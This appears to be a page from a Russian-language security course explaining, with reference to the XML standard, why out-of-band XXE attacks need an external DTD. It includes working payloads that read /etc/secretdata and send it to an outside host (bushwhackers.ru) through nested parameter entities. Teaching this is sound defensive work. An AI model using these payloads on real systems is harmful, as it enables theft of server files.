Дополнительные главы практической безопасности (2021)/XXE
Почему эксплуатация XXE out-of-band выглядит именно так
Итак, нам нужно как то отправить себе значение сущности (украденные с помощью внешней сущности данные) в условиях когда сервер нам в ответ никакие данные не возвращает. Для этого можно использовать parameter entitiy - сущность, значение которой можно подставлять в DTD, она тоже может быть внешней. Идея такая: считать данные в parameter entitity и подставить её значение в объявление другой внешней сущности, чтобы это значение стало частью урла. Тогда, когда эта другая сущность будет резолвиться, на этот урл сделается запрос и как его часть пошлются и украденные данные. Если урл ведёт на наш сервер, мы их получим.
Таким образом, простой наивный эксплоит мог бы выглядеть так:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % steal SYSTEM "/etc/secretdata">
<!ENTITY exfilt SYSTEM "http://bushwhackers.ru/get?data=%steal;">
]>
<test>&exfilt;</test>
Однако, это не сработает: сущность steal
не разрезолвится внутри урла сущности exfilt
и на сервер пойдёт запрос c урлом /get?data=%steal
.
Параметрические сущности не резолвятся внутри URL внешних сущностей. Причина этого в том, по стандарту XML строка после SYSTEM
в объявлении сущности не является значением сущности (entity value literal), это её system identifier, имеющий тип SystemLiteral. Таким образом, хотя синтаксически значение обычной сущности и урл внешней очень похожи, с точки зрения стандарта это разные контексты. А в литералах кроме entity value literal параметрические сущности не резолвятся: Parameter entity references are recognized anywhere in the DTD (internal and external subsets and external parameter entities), except in literals, .... (стандарт XML).
Если посмотреть на грамматику литералов, то видно, что EntityValue
рассчитан на то что в нём будут ссылки на параметрические сущности
[9] EntityValue ::= '"' ([^%&"] | PEReference | Reference)* '"' | "'" ([^%&'] | PEReference | Reference)* "'"
A SystemLiteral
нет
[11] SystemLiteral ::= ('"' [^"]* '"') | ("'" [^']* "'")
Поэтому приходится прибегать к трюку с засовыванием объявления внешей сущности в не-внешнюю: <!ENTITY % int '<!ENTITY exfilt SYSTEM "http://bushwhackers.ru/get?data=%steal;">'>
- поскольку сущность int
не внешняя, её значение это entity value literal, в котором по стандарту параметрическая сущность подставляться может. А затем уже разрезолвим сущность exfilt
, в которую данные уже подставились.
Такой эксплоит можно было бы попробовать сделать так:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % steal SYSTEM "/etc/secretdata">
<!ENTITY % int '<!ENTITY exfilt SYSTEM "http://bushwhackers.ru/get?data=%steal;">'>
%int;
]>
<test>&exfilt;</test>
Однако, это тоже не сработает: парсер упадёт с ошибкой типа The parameter entity reference "%steal;" cannot occur within markup in the internal subset of the DTD.
. Internal subset of the DTD это DTD, написанный в самом XML-документе. Дело в том, что по стандарту XML в internal subset ссылки на параметрический сущности не могут находиться внутри объявления других сущностей: In the internal DTD subset, parameter-entity references must not occur within markup declarations; they may occur where markup declarations can occur. Однако, если часть DTD находится не в самом XML, а включена в него внешней сущностью или внешним DTD, то такого запрета нет: (This does not apply to references that occur in external parameter entities or to the external subset.).
Поэтому часть с включением одной сущности в другую и резолвом внутри неё данных выносится во внешний XML, который подключаем с помощью внешней сущности:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % incl SYSTEM "http://bushwhackers.ru/testing.xml">
%incl;
%int;
]>
<test>&exfilt;</test>
Где http://bushwhackers.ru/testing.xml содержит:
<!ENTITY % steal SYSTEM "file:///etc/secretdata">
<!ENTITY % int '<!ENTITY exfilt SYSTEM "http://bushwhackers.ru/get?data=%steal;">'>
Кстати, здесь при включении файла /etc/secretdata
приходится использовать схему file://
. Дело в том, что без неё /etc/secretdata
проинтерпретируется как относительный URL на сервере откуда вы заинклудили XML (в данном случае на bushwhackers.ru), потому что в стандарте сказано: relative URIs are relative to the location of the resource within which the entity declaration occurs (ссылка).